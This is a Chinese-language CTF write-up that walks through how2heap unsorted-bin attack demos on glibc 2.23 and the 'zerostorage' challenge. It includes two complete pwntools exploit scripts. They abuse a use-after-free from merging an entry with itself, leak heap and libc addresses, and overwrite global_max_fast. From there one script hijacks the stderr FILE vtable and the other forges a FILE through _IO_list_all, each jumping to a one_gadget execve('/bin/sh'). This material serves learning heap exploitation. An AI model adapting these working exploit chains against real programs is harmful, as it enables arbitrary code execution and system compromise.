0%

how2heap - unsorted_bin&zerostorage

how2heap - unsorted_bin&zerostorage

ubuntu16.04 libc2.23

unsorted_bin_into_stack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

int main() {
intptr_t stack_buffer[4] = {0};

fprintf(stderr, "This technique only works with disabled tcache-option for glibc, see build_glibc.sh for build instructions.\n");

fprintf(stderr, "Allocating the victim chunk\n");
intptr_t* victim = malloc(0x100);

fprintf(stderr, "Allocating another chunk to avoid consolidating the top chunk with the small one during the free()\n");
intptr_t* p1 = malloc(0x100);

fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free(victim);

fprintf(stderr, "Create a fake chunk on the stack");
fprintf(stderr, "Set size for next allocation and the bk pointer to any writable address");
stack_buffer[1] = 0x100 + 0x10;
stack_buffer[3] = (intptr_t)stack_buffer;

//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->size and victim->bk pointer\n");
fprintf(stderr, "Size should be different from the next request size to return fake_chunk and need to pass the check 2*SIZE_SZ (> 16 on x64) && < av->system_mem\n");
victim[-1] = 32;
victim[1] = (intptr_t)stack_buffer; // victim->bk is pointing to stack
//------------------------------------

fprintf(stderr, "Now next malloc will return the region of our fake chunk: %p\n", &stack_buffer[2]);
fprintf(stderr, "malloc(0x100): %p\n", malloc(0x100));
}

意思就是unsortedbin上有一个chunk,然后模拟漏洞更改了其size和bk,这样再malloc相同大小的chunk时这块chunk就不会被malloc,会被放到smallbin里面去,其中libc2.23中unsortedbin卸下的操作是:

1
2
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

这里bck就是victim->bk,所以卸下操作基本都是与bk指针相关,与fd无关。这个代码中只需要将栈上对应的size字段和bk设置好即可,0x100chunk被放到smallbin后unsortedbin中情况如图所示

此时可以无限malloc(0x100)都是这个stack chunk,bck始终是他自己

unsorted_bin_attack.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#include <stdio.h>
#include <stdlib.h>

int main(){
fprintf(stderr, "This technique only works with buffers not going into tcache, either because the tcache-option for "
"glibc was disabled, or because the buffers are bigger than 0x408 bytes. See build_glibc.sh for build "
"instructions.\n");
fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
"global variable global_max_fast in libc for further fastbin attack\n\n");

unsigned long stack_var=0;
fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

unsigned long *p=malloc(0x410);
fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
"the first one during the free()\n\n");
malloc(500);

free(p);
fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
"point to %p\n",(void*)p[1]);

//------------VULNERABILITY-----------

p[1]=(unsigned long)(&stack_var-2);
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

//------------------------------------

malloc(0x410);
fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
"rewritten:\n");
fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

这个的原理也是借助于unsortedbin上的卸链表的操作,当unsortedbin上有chunk,时,卸链表操作有一个:
bck->fd=unsorted_chunks (av);
在这里,我们首先把chunk的bk改成了栈指针,所以在获取bck的时候bck就会是一个栈地址,然后malloc在unsortedbin上成功匹配到chunk之后,即使没有去接着malloc chunk,对应栈地址+2*sizt_t的地方也会填上main_arena的地址,这也是这个利用和上面那个利用不一样(不用修改size字段)的原因

这两个都不难我这里就不debug了,直接撸题吧

zerostorage

程序说实话好像逆起来有点复杂,直接看流程更清晰明了

程序分析(流程)

bss段上存了一个记录结构体数组,这个结构体主要是用来管理对应chunk的,分别记录了表示use_or_not的flag、可用长度还有指针(xor了一个随机的mask,导致真正的指针没有存在bss段)

Insert

找记录数组看还有没有剩余的位置,最多记录0x20个

输入的lenth不能小于0

len>0x1000 calloc(0x1000) read(0x1000)///set ent->len=0x1000
if 0x80<=len<=0x1000 calloc(len) read(len)///set ent->len=len
len<0x80 calloc(0x80) read(len)///set ent->len=len

然后就差不多是读ent->len长度的数据了,这里的比对操作差不多就是为了申请的chunk在0x80~0x1000之间,

update

input(index)

check(index>0x1F,ent->use_or_not)
input(len) check(len>0)
if len>0x1000 a=0x1000 c=0x1000
if 0x80<=len<=0x1000 a=len c=len
if len<0x80 a=0x80 c=len
这个也是为了控制大小在0x80~0x1000之间

if ent->len>=0x80 b=ent->len
else b=0x80

if a!=b realloc(ptr_mask^ent->ptr,a)

readn(ptr,c)
然后更新记录

merge

need ent_num>1
input(fromID) check(fromID>0x1F,mergechunk1.use_or_not)
input(toID) check(toID>0x1F,mergechunk2.use_or_not)
a=0x80,b=0x80
if fromlen+tolen>=0x80 b=fromlen+tolen
if tolen>=0x80 a=tolen

if a==b cpy_len=fromlen
else realloc(to_ptr,b) cpy_len=fromlen
memcpy(chunk_toptr + to_len, from_ptr, cpy_len);
把from的数据拷到新的chunk里对应的位置去

更新一个新的记录
free(from_ptr)
清除掉合并的两个记录

delete

这个就很简单了就是input然后check然后free,并清除掉记录

input(id) check(id>0x1F,use_or_not)
free(ptr) clear record

view

view就是按记录的长度,输出chunk上长度为n的内容

input(id) check(id>0x1F,use_or_not)
write_n

list

输出对应记录的下标和记录下来的长度

漏洞分析

这个题我最开始看了很久主要是因为真的太乱了,特别是前面比来比去的操作,而且我当时没记笔记有点蠢,以后这种比来比去的操作直接记笔记,这样可以知道程序到底是为了干什么

然后漏洞的话基本上第一眼看上去溢出和leak都不行,毕竟什么记录之类的也都在free之后清除了,申请的时候使用的也是calloc,然后再仔细就会发现如果merge中输入的fromID和toID相等的话就会形成UAF,比如先calloc 3个0x90的chunk然后delete第二个,merge(0,0)的话就会把第一个chunk合并成一个0x120的chunk存在记录[1]处,然后free掉这个0x120的chunk,由于是在unsortedbin上所以可以在之前再free一个,设置这个chunk的fd指向那个chunk,再去view的时候就可以leak heap和libc了,而且也可以通过update来更改chunk中的内容

由于这种题是第一次接触,自己也还傻傻不清楚unsortedbin attack怎么用,所以参考了一些师傅们的题解,然后发现这种方法可以用来修改global_max_fast这个变量,然而在我参考的过程中发现,由于原题环境是在ubuntu14系统下,当时还存在一个获取libc地址之后直接获取程序地址的操作,所以原题的思路是在bss段伪造一个堆块,然后把bss给malloc出来,获得mask之后修改指针实现任意地址写。但是在ubuntu16下面这个操作已经不存在了,所以又照着新解学习了很多_IO_FILE的知识

学了FSOP再来分析漏洞,此时已经有了libc地址和heap地址,还更改了global_max_fast,接下来如果使用FSOP的话应该怎么用呢…我第一个想到的还是fastbin attack(写完第一个思路之后回来发现师傅还有一个思路,简直不能再爽23333,所以我这里写了两个解法),之前fastbin attack能修改__malloc_hook主要是因为存在0x7f这个特殊值,但是现在就似乎变得更棘手了一些堆块又不能大于0x1000,又不能小于0x80

….不过果然只要细心一点找还是找的到fake size的,如图

我在stderr对应的FILE中找到了一个0xfb的fakesize,这个本来是FILE的flag值,但是既然你有个0xfb我就不客气的拿下了….distance也是足够的,只要劫持你到我堆上伪造的vtable就完事了

Exploit1

接着上面的想法我成功的跑通了自己的思路奥利给!(还是那句话,用自己的方法写出来真的太开心了23333)

  1. 首先就是先多申请几个chunk,其中一个大小是0x74
  2. merge 0x74的chunk,这时候能merge出来一个0xf0的chunk
  3. 再弄一个merge自己的chunk,此时在unsortedbin链中这个chunk的fd是我们之前0xf0的chunk,bk是unsortedbin,达到leak,而且由于这个chunk是unsortedbin链头,所以这个也刚好用来改global_max_fast
  4. 然后把0xf0的chunk从unsortedbin calloc出来,为了后面的fastbin attack(毕竟是UAF的chunk,我们有两个记录可以用来改它2333)
  5. 把第三步merge自己的chunk也calloc出来,这步只是为了改global_max_fast
  6. delete之前的0xf0的chunk,然后改fd(fastbin attack)
  7. 这里注意再insert的时候就可以把fake vtable放上去了,为了等下用
  8. 再insert就是改写_IO_2_1_stderr_的东西了,注意计算对应于fakechunk的偏移
  9. 退出getshell

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './zerostorage' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
g_m_f=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

'''libc 2.23 x64
0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
req = dest - old_top - 4*sizeof(long)
'''
#todo here
def insert(size,content):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Length of new entry: ')
p.sendline(str(size))
p.recvuntil('Enter your data: ')
p.send(content)
def update(id,size,content):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Entry ID: ')
p.sendline(str(id))
p.recvuntil("Length of entry: ")
p.sendline(str(size))
p.recvuntil('Enter your data: ')
p.send(content)
def merge(fromid,toid):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('from Entry ID: ')
p.sendline(str(fromid))
p.recvuntil('to Entry ID: ')
p.sendline(str(toid))
def delete(id):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Entry ID: ')
p.sendline(str(id))
def view(id):
p.recvuntil('Your choice: ')
p.sendline('5')
p.recvuntil('Entry ID: ')
p.sendline(str(id))
insert(0x80,'a'*0x80)#0
insert(0x80,'b'*0x80)#1
insert(0x80,'c'*0x80)#2
insert(0x74,'d'*0x74)#3 这里的chunk是为了merge自己之后能有一个0xfx的size,便于后面利用
insert(0x80,'e'*0x80)#4
insert(0x80,'f'*0x80)#5

delete(4)#这里如果不先delete4的话会因为realloc中free了这块空间从而被double free
merge(3,3)
delete(1)
merge(0,0)

view(1)
p.recvuntil(':\n')
heap_base=my_u64(p.recv(8))-0x1b0
libc_base=my_u64(p.recv(8))-0x3c4b78
loginfo('heap_base',heap_base)

fakechunk_offset=0x3c553b
pad_len=0xcd#到vtable指针的距离


update(1,0x110,p64(0)+p64(libc_base+g_m_f-0x10)+'a'*0x100)
insert(0xe0,'+'*0xe0)
insert(0x110,'*'*0x110)

delete(0)
update(4,0xe8,p64(libc_base+fakechunk_offset)+'0'*0xe0)
insert(0xe0,p64(0)*3+p64(libc_base+0x4526a)+'.'*0xc0)

#这里要计算各种偏移,而且是对fakechunk来说的,所以显得有些繁琐?..没事,getshell天下第一
payload='.'*0x15+p64(0)+p64(1) #满足 _IO_write_ptr(0x28偏移) > _IO_write_base(0x20偏移)
payload=payload.ljust(pad_len,'\x00') #满足0xc0偏移的_mode要<=0
insert(0xe0,(payload+p64(heap_base+0x1c0)).ljust(0xe0,'\xee'))

p.sendline('7')#trigger
p.interactive()

Exploit2

修改global_max_fast之后我本来是只想到了利用fastbin attack,但是发现好像有一个更牛逼的操作:

因为fastbin的限制现在变的特别大了,所以如果我们的chunk足够大的时候可以直接将chunk的地址填到别的地方去而不是fastbin的那个数组…这应该也算是数组越界的一个应用了,太顶了
如下(这是main_arena之后的可写数据段,一下就看到了一些熟悉的东西,而且指不定还有什么可以改,只要咱们的chunk够大2333):

师傅们的操作是改了_IO_list_all,然后在对应chunk上伪造一个FILE,这里说一下写EXP自己踩的几个坑

  1. leak的时候unsortedbin上是有两个chunk的,所以干脆把链尾的那个chunk弄成0x400后面merge的时候可以直接取下来,省去了再insert的步骤,然后把fake_err和fake table都update到0x1000的那个chunk里面去
  2. 前面0x1000的chunk和0x400的chunk直接挨着就好
  3. _IO_list_all指向的是chunk header,但是我们写的时候是从data段开始写的,所以要注意这里少0x10个偏移,前面0x10的数据也用不了

完整EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

binary = './zerostorage' #binary's name here
context.binary = binary #context here
context.log_level='debug'
pty = process.PTY
p = process(binary, aslr = 1, stdin=pty, stdout=pty) #process option here
'''
Host =
Port =
p = remote(Host,Port)
'''
elf = ELF(binary)
libc = elf.libc

my_u64 = lambda x: u64(x.ljust(8, '\0'))
my_u32 = lambda x: u32(x.ljust(4, '\0'))
g_m_f=0x3c67f8
codebase = 0x555555554000
def loginfo(what='',address=0):
log.info("\033[1;36m" + what + '----->' + hex(address) + "\033[0m")

'''libc 2.23 x64
0x45216 execve("/bin/sh", rsp+0x30, environ)constraints: rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)constraints: [rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)constraints: [rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)constraints: [rsp+0x70] == NULL
req = dest - old_top - 4*sizeof(long)
'''
#todo here
def insert(size,content):
p.recvuntil('Your choice: ')
p.sendline('1')
p.recvuntil('Length of new entry: ')
p.sendline(str(size))
p.recvuntil('Enter your data: ')
p.send(content)
def update(id,size,content):
p.recvuntil('Your choice: ')
p.sendline('2')
p.recvuntil('Entry ID: ')
p.sendline(str(id))
p.recvuntil("Length of entry: ")
p.sendline(str(size))
p.recvuntil('Enter your data: ')
p.send(content)
def merge(fromid,toid):
p.recvuntil('Your choice: ')
p.sendline('3')
p.recvuntil('from Entry ID: ')
p.sendline(str(fromid))
p.recvuntil('to Entry ID: ')
p.sendline(str(toid))
def delete(id):
p.recvuntil('Your choice: ')
p.sendline('4')
p.recvuntil('Entry ID: ')
p.sendline(str(id))
def view(id):
p.recvuntil('Your choice: ')
p.sendline('5')
p.recvuntil('Entry ID: ')
p.sendline(str(id))
insert(0x80,'a'*0x80)#0
insert(0x80,'b'*0x80)#1
insert(0x1000,'d'*0x1000)#2
insert(0x3f0,'e'*0x3f0)#3
insert(0x3f0,'f'*0x3f0)#4
insert(0x80,'g'*0x80)#5

delete(3)#delete for leak&merge

delete(1)#delete for merge
merge(0,0)
view(1)#leak

heap_off=-0x1130
libc_off=-0x3c4b78
p.recvuntil(':\n')
heap_base=heap_off+u64(p.recv(8))
libc_base=libc_off+u64(p.recv(8))
loginfo("heapbase",heap_base)
loginfo("libcbase",libc_base)

fake_err=''.ljust(0x10,'\x00')+p64(0)+p64(16)+p64(0)*7#offset-0x10 because '_IO_list_all' will point to the chunk header
fake_err+=p64(libc_base+0x3c5620)+p64(2)+p64(0xffffffffffffffff)+p64(0)+p64(libc_base+0x3c6770)
fake_err=fake_err.ljust(0xc0,'\x00')+p64(0)
fake_err=fake_err.ljust(0xc8,'\x00')+p64(heap_base+0x200)

fake_table=p64(0)*3+p64(libc_base+0x4526a)


update(2,0x1000,(fake_err+fake_table).ljust(0x1000,'\x00'))#update to fake err FILE

merge(4,2)#merge to 0x1410 and unsortedbin have only one chunk now because of the UNLINK

update(1,0x100,p64(0)+p64(libc_base+g_m_f-0x10)+'2'*0xf0)#update for next insert to change global_max_fast

insert(0x110,'\x33'*0x110)#change global_max_fast

delete(0)#delete 0x1410chunk

p.sendline('7')


p.interactive()